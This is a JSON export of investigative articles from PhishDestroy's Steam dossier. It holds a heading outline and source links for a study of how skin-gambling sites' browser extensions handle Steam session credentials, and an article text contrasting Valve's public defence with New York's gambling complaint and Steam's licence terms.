            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#credential-flow"
          },
          {
            "level": 2,
            "text": "The browser permissions explain how the extension reaches that credential",
            "anchor": "pd-trade-tracking--heading-11",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#session"
          },
          {
            "level": 3,
            "text": "cookies",
            "anchor": "pd-trade-tracking--heading-12",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#session"
          },
          {
            "level": 3,
            "text": "scripting + tabs",
            "anchor": "pd-trade-tracking--heading-13",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#session"
          },
          {
            "level": 3,
            "text": "content scripts",
            "anchor": "pd-trade-tracking--heading-14",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#session"
          },
          {
            "level": 3,
            "text": "trade editor",
            "anchor": "pd-trade-tracking--heading-15",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#session"
          },
          {
            "level": 2,
            "text": "Renewal makes the connection persist beyond a single token",
            "anchor": "pd-trade-tracking--heading-16",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#clocks"
          },
          {
            "level": 3,
            "text": "The credential being exported.",
            "anchor": "pd-trade-tracking--heading-17",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#clocks"
          },
          {
            "level": 3,
            "text": "The extension’s recipient gate.",
            "anchor": "pd-trade-tracking--heading-18",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#clocks"
          },
          {
            "level": 2,
            "text": "Steam delivery and the casino’s payout are separate events",
            "anchor": "pd-trade-tracking--heading-19",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#settlement"
          },
          {
            "level": 3,
            "text": "Seller asking prices sit inside the platform’s pricing system",
            "anchor": "pd-trade-tracking--heading-20",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#settlement"
          },
          {
            "level": 3,
            "text": "Playing is tied to a higher early-credit limit",
            "anchor": "pd-trade-tracking--heading-21",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#settlement"
          },
          {
            "level": 3,
            "text": "Failed-trade fees escalate.",
            "anchor": "pd-trade-tracking--heading-22",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#settlement"
          },
          {
            "level": 3,
            "text": "A Steam reversal can trigger a separate financial penalty",
            "anchor": "pd-trade-tracking--heading-23",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#settlement"
          },
          {
            "level": 3,
            "text": "The operator also decides disputed outcomes",
            "anchor": "pd-trade-tracking--heading-24",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#settlement"
          },
          {
            "level": 3,
            "text": "Ordinary fees and failure penalties follow different rules",
            "anchor": "pd-trade-tracking--heading-25",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#settlement"
          },
          {
            "level": 3,
            "text": "Steam protection and the payout delay are blurred.",
            "anchor": "pd-trade-tracking--heading-26",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#settlement"
          },
          {
            "level": 3,
            "text": "Two instructions give different debit events.",
            "anchor": "pd-trade-tracking--heading-27",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#settlement"
          },
          {
            "level": 3,
            "text": "Old and new cancellation rules remain side by side.",
            "anchor": "pd-trade-tracking--heading-28",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#settlement"
          },
          {
            "level": 3,
            "text": "Penalty review remains inside the same platform.",
            "anchor": "pd-trade-tracking--heading-29",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#settlement"
          },
          {
            "level": 2,
            "text": "Roll’s older automatic extension and its current token popup are different packages",
            "anchor": "pd-trade-tracking--heading-30",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#roll"
          },
          {
            "level": 3,
            "text": "CSGORoll extension",
            "anchor": "pd-trade-tracking--heading-31",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#roll"
          },
          {
            "level": 3,
            "text": "Steam WebAPI Token Extension",
            "anchor": "pd-trade-tracking--heading-32",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#roll"
          },
          {
            "level": 2,
            "text": "Fast’s own trading interface links SIH and checks its permissions",
            "anchor": "pd-trade-tracking--heading-33",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#fast"
          },
          {
            "level": 3,
            "text": "The non-monetary label sits beside paid funding routes",
            "anchor": "pd-trade-tracking--heading-34",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#fast"
          },
          {
            "level": 3,
            "text": "The same domain appears in a final Dutch gambling-enforcement record",
            "anchor": "pd-trade-tracking--heading-35",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#fast"
          },
          {
            "level": 3,
            "text": "CSGOFast, SIH and the commercial control that survived",
            "anchor": "pd-trade-tracking--heading-36",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#fast"
          },
          {
            "level": 2,
            "text": "What the three implementations establish",
            "anchor": "pd-trade-tracking--heading-37",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#comparison"
          },
          {
            "level": 3,
            "text": "CSGOEmpire",
            "anchor": "pd-trade-tracking--heading-38",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#comparison"
          },
          {
            "level": 3,
            "text": "CSGORoll",
            "anchor": "pd-trade-tracking--heading-39",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#comparison"
          },
          {
            "level": 3,
            "text": "CSGOFast / SIH integration",
            "anchor": "pd-trade-tracking--heading-40",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#comparison"
          },
          {
            "level": 3,
            "text": "The technical evidence explains the dependence that the collectibles analogy omits",
            "anchor": "pd-trade-tracking--heading-41",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#comparison"
          },
          {
            "level": 3,
            "text": "What the operators still owe their users",
            "anchor": "pd-trade-tracking--heading-42",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#comparison"
          },
          {
            "level": 2,
            "text": "Package. File. Location.",
            "anchor": "pd-trade-tracking--heading-43",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#code-record"
          },
          {
            "level": 2,
            "text": "Read the underlying records.",
            "anchor": "pd-trade-tracking--heading-44",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#sources"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/trade-tracking"
          },
          {
            "label": "Read the physical-ownership comparison ↗",
            "url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement.html#collectibles"
          },
          {
            "label": "Original 11 October edition · complete text →",
            "url": "https://phishdestroy.io/steam_dossier/editions/2026-10-11-latest/trade-tracking.html"
          },
          {
            "label": "See the account-count comparison ↗",
            "url": "https://phishdestroy.io/steam_dossier/money-and-enforcement.html#account-counts"
          },
          {
            "label": "Read the documentary findings ↗",
            "url": "https://phishdestroy.io/steam_dossier/aml-data.html#record"
          },
          {
            "label": "NEW CASE / VALVE’S 2016 ENFORCEMENT CLAIMCSGOFast, SIH and the commercial control that survivedFive interface exhibits, 33 code locations, authenticator custody and the record before the commission.↗",
            "url": "https://phishdestroy.io/steam_dossier/csgofast-sih.html"
          },
          {
            "label": "Open this passage in the complete original edition →",
            "url": "https://phishdestroy.io/steam_dossier/editions/2026-10-11-latest/trade-tracking.html#fast"
          },
          {
            "label": "Original three-column credential comparison ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam-access.html#access"
          },
          {
            "label": "Valve’s response and the ownership comparison ↗",
            "url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement.html#us-lawsuit"
          },
          {
            "label": "Why the transfer-safeguard reference matters ↗",
            "url": "https://phishdestroy.io/steam_dossier/aml-data.html#finding-shield"
          },
          {
            "label": "Download evidence record ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/trade-tracking-2026-10-10/audit-record.json"
          },
          {
            "label": "Manifest ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/trade-tracking-2026-10-10/empire-manifest.json"
          },
          {
            "label": "Fixture results ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/trade-tracking-2026-10-10/offline-checks.json"
          },
          {
            "label": "CSGOEmpire — Trade Tracking — Desktop ↗",
            "url": "https://help.csgoempire.com/en/articles/10738502-trade-tracking-desktop-guide"
          },
          {
            "label": "CSGOEmpire — Trade Tracking — Mobile ↗",
            "url": "https://help.csgoempire.com/en/articles/15830596-trade-tracking-mobile-guide"
          },
          {
            "label": "CSGOEmpire — How the P2P system works ↗",
            "url": "https://help.csgoempire.com/en/articles/5341467-how-does-the-p2p-player-to-player-system-work"
          },
          {
            "label": "CSGOEmpire — How prices are calculated ↗",
            "url": "https://help.csgoempire.com/en/articles/5374190-how-are-prices-calculated"
          },
          {
            "label": "CSGOEmpire — Editing a listing price ↗",
            "url": "https://help.csgoempire.com/en/articles/5341471-how-do-i-edit-my-listing-price"
          },
          {
            "label": "CSGOEmpire — Trade protection update ↗",
            "url": "https://help.csgoempire.com/en/articles/11792613-trade-protection-update"
          },
          {
            "label": "CSGOEmpire — Skin Trading Policy ↗",
            "url": "https://help.csgoempire.com/en/articles/14831414-skin-trading-policy"
          },
          {
            "label": "CSGOEmpire — Trade punishments ↗",
            "url": "https://help.csgoempire.com/en/articles/5276311-trade-punishments"
          },
          {
            "label": "CSGOEmpire — Instant Credit Limit ↗",
            "url": "https://help.csgoempire.com/en/articles/11916422-instant-credit-limit"
          },
          {
            "label": "CSGOEmpire — When an item is charged ↗",
            "url": "https://help.csgoempire.com/en/articles/6100786-when-am-i-charged-for-an-item"
          },
          {
            "label": "CSGOEmpire — Withdrawing Counter-Strike items ↗",
            "url": "https://help.csgoempire.com/en/articles/5341485-how-do-i-withdraw-counter-strike"
          },
          {
            "label": "CSGOEmpire — Cancelling a withdrawal ↗",
            "url": "https://help.csgoempire.com/en/articles/7436880-can-i-cancel-a-withdrawal"
          },
          {
            "label": "CSGOEmpire — Cancelling an active trade ↗",
            "url": "https://help.csgoempire.com/en/articles/5341518-can-i-cancel-an-active-trade"
          },
          {
            "label": "CSGOEmpire — Item privacy toggle ↗",
            "url": "https://help.csgoempire.com/en/articles/10508998-item-privacy-toggle"
          },
          {
            "label": "CSGOEmpire — Trading fees ↗",
            "url": "https://help.csgoempire.com/en/articles/8494315-are-there-any-trading-fees"
          },
          {
            "label": "CSGOEmpire — Wagering to withdraw skins ↗",
            "url": "https://help.csgoempire.com/en/articles/5366975-do-i-need-to-wager-to-withdraw-counter-strike-skins"
          },
          {
            "label": "CSGOEmpire — Withdrawal duration ↗",
            "url": "https://help.csgoempire.com/en/articles/5494493-how-long-does-a-withdrawal-take-counter-strike"
          },
          {
            "label": "CSGOEmpire — Auction listings and limits ↗",
            "url": "https://help.csgoempire.com/en/articles/8460197-auction-listings-limits"
          },
          {
            "label": "CSGOEmpire — Thirty-minute auction update ↗",
            "url": "https://help.csgoempire.com/en/articles/9117575-30-minute-auction-update-8th-may-2024"
          },
          {
            "label": "CSGOEmpire — Depositing Counter-Strike items ↗",
            "url": "https://help.csgoempire.com/en/articles/5341470-how-do-i-deposit-counter-strike"
          },
          {
            "label": "CSGOEmpire — Telegram and Discord notifications ↗",
            "url": "https://help.csgoempire.com/en/articles/5376331-how-do-i-set-up-telegram-or-discord-notifications"
          },
          {
            "label": "CSGOEmpire — Updating a trade URL ↗",
            "url": "https://help.csgoempire.com/en/articles/5367000-how-do-i-update-my-trade-url"
          },
          {
            "label": "CSGOEmpire — Counter-Strike deposits and withdrawals ↗",
            "url": "https://help.csgoempire.com/en/collections/2918572-counter-strike-deposits-withdrawals"
          },
          {
            "label": "Trade Token Sync — Chrome Web Store ↗",
            "url": "https://chromewebstore.google.com/detail/trade-token-sync/kbcomfmcakpckijlmbkglflflmokhgof"
          },
          {
            "label": "Trade Token Sync — Google update-service package ↗",
            "url": "https://clients2.google.com/service/update2/crx?response=redirect&prodversion=140.0.0.0&acceptformat=crx2%2Ccrx3&x=id%3Dkbcomfmcakpckijlmbkglflflmokhgof%26uc"
          },
          {
            "label": "Privacy notice linked by Trade Token Sync ↗",
            "url": "https://pastebin.com/DgU7152m"
          },
          {
            "label": "CSGORoll — WebAPI Trading Extension ↗",
            "url": "https://www.csgoroll.com/blog/csgoroll-trading-extension/"
          },
          {
            "label": "CSGORoll — current extension redirect ↗",
            "url": "https://csgoroll.com/extension"
          },
          {
            "label": "Older CSGORoll extension — Google update response ↗",
            "url": "https://clients2.google.com/service/update2/crx?response=redirect&prodversion=140.0.0.0&acceptformat=crx2%2Ccrx3&x=id%3Dcgkgfnlnpcifjnbfdbmcphcgnkeinjpd%26uc"
          },
          {
            "label": "Current CSGORoll extension — Google package ↗",
            "url": "https://clients2.google.com/service/update2/crx?response=redirect&prodversion=140.0.0.0&acceptformat=crx2%2Ccrx3&x=id%3Dbdgacfnoihldeemdcbggkgmjgdfcliah%26uc"
          },
          {
            "label": "CSGORoll — Steam WebAPI Token help ↗",
            "url": "https://intercom.help/csgoroll/en/articles/12033745-steam-webapi-token"
          },
          {
            "label": "Chrome — Declare permissions ↗",
            "url": "https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions"
          },
          {
            "label": "Chrome — Cookies API ↗",
            "url": "https://developer.chrome.com/docs/extensions/reference/api/cookies"
          },
          {
            "label": "Chrome — Extension service worker lifecycle ↗",
            "url": "https://developer.chrome.com/docs/extensions/develop/concepts/service-workers/lifecycle"
          },
          {
            "label": "CSGOFast — Responsible Play Policy ↗",
            "url": "https://csgofast.com/responsible-play-policy"
          },
          {
            "label": "CSGOFast — AML Policy ↗",
            "url": "https://csgofast.com/aml-policy"
          },
          {
            "label": "CSGOFast — FAQ ↗",
            "url": "https://csgofast.com/faq"
          },
          {
            "label": "CSGOFast — P2P frontend component ↗",
            "url": "https://csgofast.com/chunk-4OFQKOVU.js"
          },
          {
            "label": "CSGOFast — SIH installation and permission component ↗",
            "url": "https://csgofast.com/chunk-4J5LYWSH.js"
          },
          {
            "label": "CSGOFast — client service bundle ↗",
            "url": "https://csgofast.com/chunk-2FZZMIT7.js"
          },
          {
            "label": "Dutch Ksa — Gamusoft LP / csgofast.com ↗",
            "url": "https://kansspelautoriteit.nl/gamusoft-lp"
          },
          {
            "label": "PhishDestroy — earlier Roll and SIH code audit ↗",
            "url": "https://phishdestroy.io/steam_dossier/extension-audit.html"
          },
          {
            "label": "CSGOFast — public application entry bundle ↗",
            "url": "https://csgofast.com/main-JJ4ULN5H.js"
          },
          {
            "label": "CSGOFast — SIH modal import module ↗",
            "url": "https://csgofast.com/chunk-WXK6SRSN.js"
          },
          {
            "label": "Chrome — Content scripts ↗",
            "url": "https://developer.chrome.com/docs/extensions/develop/concepts/content-scripts"
          },
          {
            "label": "Older CSGORoll extension — store URL ↗",
            "url": "https://chromewebstore.google.com/detail/cgkgfnlnpcifjnbfdbmcphcgnkeinjpd"
          }
        ],
        "tables": [],
        "cited_source_ids": []
      },
      "resources": [
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/trade-tracking-2026-10-10/audit-record.json",
          "sha256": "f25bdf2d179d5f4a617a7117f51a42636c49d9ed4f04983001a8dd71f5933893",
          "bytes": 170253
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/trade-tracking-2026-10-10/empire-manifest.json",
          "sha256": "367cebed484e3007511fefed990fffbffa6509f6b2ca1354696a75fb3953931f",
          "bytes": 1306
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/trade-tracking-2026-10-10/offline-checks.json",
          "sha256": "a2b345d76e1d470e0c7984368fbb8406c3b7dde9516d650172ffb54d73319dbb",
          "bytes": 1345
        }
      ]
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "valve-and-enforcement",
      "language": "en",
      "title": "Valve’s defence. Valve’s control. — PhishDestroy",
      "author": "Agent Elise",
      "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement",
      "source_file": "steam_dossier/valve-and-enforcement.html",
      "source_html_sha256": "d5662dbde770d5a2e69a0841b25f0bf753696fa8f4d73ed918bd4f0a132ec1ef",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "valve-and-enforcement.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/valve-and-enforcement.pdf",
        "sha256": "88de376ab4da5bf1762d1a3afb22f16d35a161ba42ffd0cc3cccb6694f13168f",
        "bytes": 551133,
        "pages": 33
      },
      "integrity": {
        "signed_object": "valve-and-enforcement.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/valve-and-enforcement.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/valve-and-enforcement.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nVALVE / THE PUBLIC DEFENCE & THE ENFORCEMENT RECORD OWNERSHIP, GAMBLING & PLATFORM CONTROL10 OCT 2026 • WORKING PAPER\n\nTHE COMPANY. THE CLAIM. THE RECORD.\n\nTheir defence. Their control.\n\nValve invokes the rights of collectors. Its own system keeps the power over them.\n\nINVESTIGATION BY AGENT ELISE\n\nValve’s response to New York asks readers to accept a familiar picture: physical collectibles, consumer choice and privacy. The agreement, restriction policies and disclosure record show what that picture leaves out. This article puts eight claims beside the documents and follows the consequences for ownership, enforcement and access to evidence.\n\nRead the investigation ↓Inspect the record ↗\nTHE COMPARISON AT THE CENTRE OF THE CASE↗\nA PHYSICAL COLLECTION\nThe purchaser keeps the object.\n\nA knife, card or toy can remain in the owner’s possession and change hands without the original seller operating an account or approving the transfer.\n\nA STEAM ITEM\nNo ownership interest.\n\nSteam records the item and controls its transfer. The agreement denies an ownership interest in marketplace subscriptions and reserves the ability to change or discontinue the market.\n\nRead the contract · §3.D ↗\n\nThe familiar act of collecting conceals a different allocation of power.\n\n01\nTHE PUBLIC ANSWEREight claims under examination\n\nExact excerpts and clearly attributed summaries.\n\n↗02\nTHE EXERCISE OF POWERRestrictions need a result\n\nThe rule, the account action and the operator’s route.\n\n↗03\nTHE DATA RECORDCapacity, disclosure and refusal\n\nTrace the evidence behind the technical claims.\n\n↗\ni\n\nThe comparison fails on control, not on collecting. People do collect skins and pay real prices for them — and the company that records each item, executes every transfer and can lock the account still holds powers no physical maker possesses.\n\nOriginal 11 October edition · complete text →\n\nTHE CASE IN FOUR POWERS\n\nFollow what Valve controls.\n\nChoose the power. Inspect the mechanism. Continue to the underlying evidence.\n\nCONTROL ATLAS / DOCUMENTED RELATIONSHIPSFour ways into the investigation\nTHE OWNERSHIP CLAIM / THE CONTRACT\nCollecting does not transfer control of the system.\n\nThe holder receives licence rights while Valve retains control of account access and onward transfer. The next purchaser enters the same administered relationship.\n\nCompare the claim with the contract\nScarcity, restoration and remedies\nE09 · Inspect the agreement ↗\nTHE COSMETIC CLAIM / THE COMMERCIAL RECORD\nThe look has a price, a stage and an enforcement boundary.\n\nThe Major sample records extensive skin use; sponsor announcements document commercial integration. Valve also enforces limits on substitutes for owned appearances.\n\nCompare actions and player–Major records\nPut sponsor terms beside rule dates\nInspect the cosmetic-control record\nE50 · Inspect the measured event totals ↗\nTHE BAN COUNT / THE BUSINESS OUTCOME\nWho lost the inventory—and who lost the business?\n\nAn account-level restriction acts on an inventory route. The operator’s ledger and outside funds require a separate enforcement result. The user needs an inspectable reason and review.\n\nSee what an account restriction reaches\nCommercial use and all-account restrictions\nPayment disputes and correction\nE87 · Inspect the restriction policy ↗\nTHE PRIVACY CLAIM / THE EXISTING RECORD\nApply the privacy argument to Valve’s own system.\n\nAccount and device records sit beside regional controls, retained reports and disclosure decisions. The investigation asks what is already used and what the user can contest.\n\nExisting signals and regional controls\nWallet funding and the current player’s age\nModeration evidence in both directions\nE71 · Inspect the collection policy ↗\nTHE AUTHENTICATION RECORDAPI keys, session tokens and Steam access ↗THE OPERATING IMPLEMENTATIONSEmpire, Roll and Fast trade tracking ↗THE IDENTITY RECORDDocuments, entities and AML claims ↗THE PACKAGE AUDITRoll and SIH code findings ↗\nNEW CASE FILE / THREE GAMES, CONCRETE PRECEDENTSValve can freeze, trace, restore and change the market.TF2’s 2019 remedy · the key restriction · the Canadian order · victim reports · farm economics ↗\nFOLLOW THE COMMERCIAL SYSTEM\n11 / CODE & COMMERCEValve’s crackdown.\nTen years later.\n\nCSGOFast, SIH and the account operations inside the extension.\n\nInspect the case ↗12 / REVIEWS & INCENTIVESA rating becomes\nthe entry ticket.\n\n84 contest records, developer replies and the reputation used to recruit users.\n\nOpen the new evidence ↗\n01\n\nTHE US CASE / THE PUBLIC ANSWER\n\nValve’s answer to New York: the ownership lie and its framing\nSTATEMENT → CONTRADICTION → EVIDENCE\n\nNew York’s complaint concerns paid chances to receive items with exchange value. Valve’s public answer compares that experience with familiar physical collectibles. The comparison matters because it carries an assumption beyond the act of opening a box: that the customer acquires an object they can possess and dispose of as an owner.\n\nFILED 25 FEBRUARY 2026450952/2026\nThe People of the State of New York v. Valve Corporation\nFiled by\nLetitia James, New York Attorney General\nCourt\nSupreme Court of the State of New York, New York County\nRecord\nNYSCEF document 2 · 52-page complaint\nGames examined\nCounter-Strike 2 · Team Fortress 2 · Dota 2\nE38 · Filed complaint ↗E37 · Attorney General’s announcement ↗\n\nTHE ALLEGED MECHANISM\n\nThe complaint targets paid random outcomes\n\nThe Attorney General alleges that Valve sells access to random item outcomes with monetary value. The announcement describes a slot-machine-style opening animation and cites a skin reportedly sold for more than $1 million. It identifies both Steam’s market and outside cash marketplaces as routes for realising value. [E37]\n\nThis is the economic transaction our investigation follows: the payment, the random result, the exchange route and the party controlling each stage.\n\nTHE RELIEF REQUESTED\n\nThe state seeks an injunction and financial remedies\n\nThe civil complaint invokes Executive Law §63(12), the state Constitution and gambling provisions of the Penal Law. It requests an injunction, an accounting of consumer losses, restitution and damages, disgorgement, and a fine of three times the gains alleged to arise from the conduct. [E38]\n\nRead the requested relief · PDF pp. 50–51 ↗\n\nA / THE COMPLAINT’S OWN WORDS / FILED 25 FEBRUARY 2026\n\n“the process resembles a slot machine, with an animated spinning wheel that eventually rests on a selected item.”\n\n“quintessential gambling”\n\nE38 · Filed complaint ↗\n\nB / THE STATE’S WORDS, NOT AN ACTIVIST’S\n\nWhen the regulator’s own filing names the machine, the collectibles analogy is answering a different document.\n\nThe complaint does not hedge: it calls the mechanism “quintessential gambling” and describes the animated spinning wheel in its own words. That language belongs to the Attorney General’s filing, not to an advocacy campaign — and the baseball-card comparison is an answer addressed to the document the state actually wrote. [E38] The analogy beside the record ↗\n\nVALVE’S PUBLIC RESPONSE / 11 MARCH 2026Read the original ↗\n\nValve compares its boxes with baseball cards, Pokémon, Magic: The Gathering and Labubu. It also defends the ability to transfer digital items by invoking the rights of people who own physical collectibles. The statement presents the activity through familiar acts of buying, collecting and reselling.\n\nIt further relies on optional participation, cosmetic effects, account enforcement and objections to additional personal-data collection. This is Valve’s corporate response; the separate evidence of Gabe Newell’s physical collection appears in the next chapter. [E14]\n\nLIES & MANIPULATION / THE STATEMENT EXAMINED\n\nThe ownership lie and the arguments used to sustain it\n\nThe central deception is the equivalence between a physical owner and the holder of a licence controlled by Valve. The statement reinforces that picture by shifting attention to gameplay, non-paying players, aggregate enforcement and future law. Below, each red excerpt or labelled summary is followed by the contradiction or manipulation it contains and the evidence for that finding.\n\n01VALVE’S STATEMENT · EXACT EXCERPT\n“in the same way an owner”\n\nValve compares the transfer of a digital item with an owner selling or trading a physical collectible.\n\nRead the complete statement · 11 March 2026 ↗\nTHE OWNERSHIP LIE\nThe comparison presents a controlled licence as equivalent to physical ownership.\n\nSteam’s agreement gives the account holder licence rights and expressly denies an ownership interest in marketplace subscriptions. Valve records the item, executes transfers and can restrict the account that holds it. A purchaser of a physical knife, card or Labubu figure does not need the original seller’s continuing permission to retain the object. The falsehood is the equivalence: the analogy imports the independence of a physical owner into a relationship still administered by the issuer.\n\nEVIDENCE[E09] The statement beside the contract ↗ Gabe Newell’s physical collection ↗ Follow the full chronology ↗\n02VALVE’S STATEMENT · POSITION SUMMARISED\n\nValve presents continued item transferability as a consumer right it will defend.\n\nRead the complete statement · 11 March 2026 ↗\nMANIPULATION / OWNERSHIP LANGUAGE\nThe power to grant a transfer remains the power to refuse it.\n\nValve’s public defence foregrounds the user’s ability to transfer an item. Its contract preserves the company’s authority over the marketplace, and account restrictions can prevent the holder from moving the skin. Presenting a platform-administered permission through the language of an owner’s rights conceals the condition that matters when a dispute begins. The manufacturer of Newell’s physical knives has no equivalent account switch over his collection.\n\nEVIDENCE[E09] [E42] Possession compared with platform permission ↗\n03VALVE’S STATEMENT · EXACT EXCERPT\n“purely cosmetic”\n\nValve argues that a player who does not buy items suffers no gameplay disadvantage.\n\nRead the complete statement · 11 March 2026 ↗\nMANIPULATION / ERASING THE COMMERCIAL ROLE\nThe look is the product. The Major stage makes it visible.\n\nPhishDestroy’s seven-Major dataset records 948,232 skinned weapon-inspect events out of 960,770. Of 559 player–Major records, 557 include a skinned weapon inspect; only two contain default-only inspect records. The analysis covers 491 maps from the final-16 stage through the finals, across 2021–2025. It gives the cosmetic argument a concrete commercial setting: elite Counter-Strike is played with the very appearances the economy sells.\n\nAn inspect input—commonly bound to F—brings the weapon into view without improving its damage. That is precisely the point: appearance can be the attraction. Valve linked in-game item sales to Major prize funding as early as 2013. Calling the items cosmetic leaves both their exchange value and their place in the tournament economy unexplained. The inspect dataset measures recorded use; the exposure those Majors deliver — and the purchases that follow it — sit in telemetry Valve already holds and has never published.\n\nThe complaint expressly describes items without gameplay effects; the response substitutes an easier question for the economic mechanism being challenged — what the user pays, how the outcome is selected and what the item can be sold for.\n\nEVIDENCE[E50][E51][E52] Seven Majors: counts, percentages and method ↗ The outside-market value record ↗\n04VALVE’S STATEMENT · EXACT EXCERPT\n“most of you don't open any boxes”\n\nValve invokes the wider population of players who do not participate in paid openings.\n\nRead the complete statement · 11 March 2026 ↗\nMANIPULATION / CHANGING THE DENOMINATOR\nNot opening a case does not put a player outside the skin economy.\n\nThe complaint concerns the transaction offered to people who pay for random outcomes. Counting everyone who plays without paying does not answer it. A player can acquire a skin through a market or trade, follow a professional’s loadout, or want an appearance they cannot afford without opening a box. Valve supplies no participation breakdown in this passage.\n\nThe sharper question is what happens when appearance is separated from a purchased inventory item. Valve’s server rules prohibit simulated unowned skins even when only the player can see them. Touch Skins later announced closure after a demand from Valve’s representatives in Russia. The company actively protects access to cosmetic appearance; its public answer should explain that economic boundary.\n\nEVIDENCE[E38][E60][E61] Cosmetic exclusivity and the legal demand ↗\n05VALVE’S STATEMENT · EXACT EXCERPT\n“Valve does not cooperate with gambling sites.”\n\nValve distances itself from outside operators when describing its response to skin gambling.\n\nRead the complete statement · 11 March 2026 ↗\nMANIPULATION / A SELECTIVE BOUNDARY\nThe sponsorship claim needs a date, a category and an enforcement record.\n\nThe same response says gambling-related businesses are forbidden from participating in or sponsoring tournaments. Published Valve rules distinguish licensed betting from skin-economy sponsors. Organisers’ own announcements identify GG.BET at Stockholm and Antwerp, Unikrn at Paris, and 1xBet at Copenhagen. A blanket public claim cannot substitute for those dated arrangements.\n\nThe infrastructure question also remains. Steam identification, session credentials and item transfers feed outside operators’ verification and ledgers. That technical dependence is documented; whether any private arrangement exists is a question for Valve’s own records, not a defence its statement can rely on. Which businesses lost access, under which rule, and what changed after the 2016 demands?\n\nEVIDENCE[E53][E54][E55][E56][E57] The sponsor timeline and the published rule ↗ Credential and settlement evidence ↗\n06VALVE’S STATEMENT · POSITION SUMMARISED\n\nValve cites more than one million account locks across gambling, fraud and theft.\n\nRead the complete statement · 11 March 2026 ↗\nMANIPULATION / SUBSTITUTING THE METRIC\nA million account locks do not identify a million bots—or closed businesses.\n\nValve combines gambling, fraud and theft in one account total. It does not publish the division between automated accounts, ordinary P2P participants, compromised users and operator-controlled inventories. CSGOEmpire dates its move from Steam bots to P2P to 2018; CSGOFast describes direct player-to-player skin sales today. That changes where the items sit and who bears a restriction.\n\nIn this model, a listed skin can belong to a participant while the operator controls the balance and settlement. Locking that Steam account can immobilise the participant’s inventory while leaving the service’s website, funding routes and ledger functioning. The missing result is not another large total: it is a classification of the accounts, the losses and the businesses actually stopped.\n\nEVIDENCE[E64][E65] The 2018 change and the P2P enforcement test ↗ The two counters and their different populations ↗\n07VALVE’S STATEMENT · POSITION SUMMARISED\n\nValve presents additional location and age checks as an intrusion into users’ privacy.\n\nRead the complete statement · 11 March 2026 ↗\nMANIPULATION / SELECTIVE PRIVACY\nValve already collects the signals and operates the regional controls.\n\nIts privacy policy lists IP records 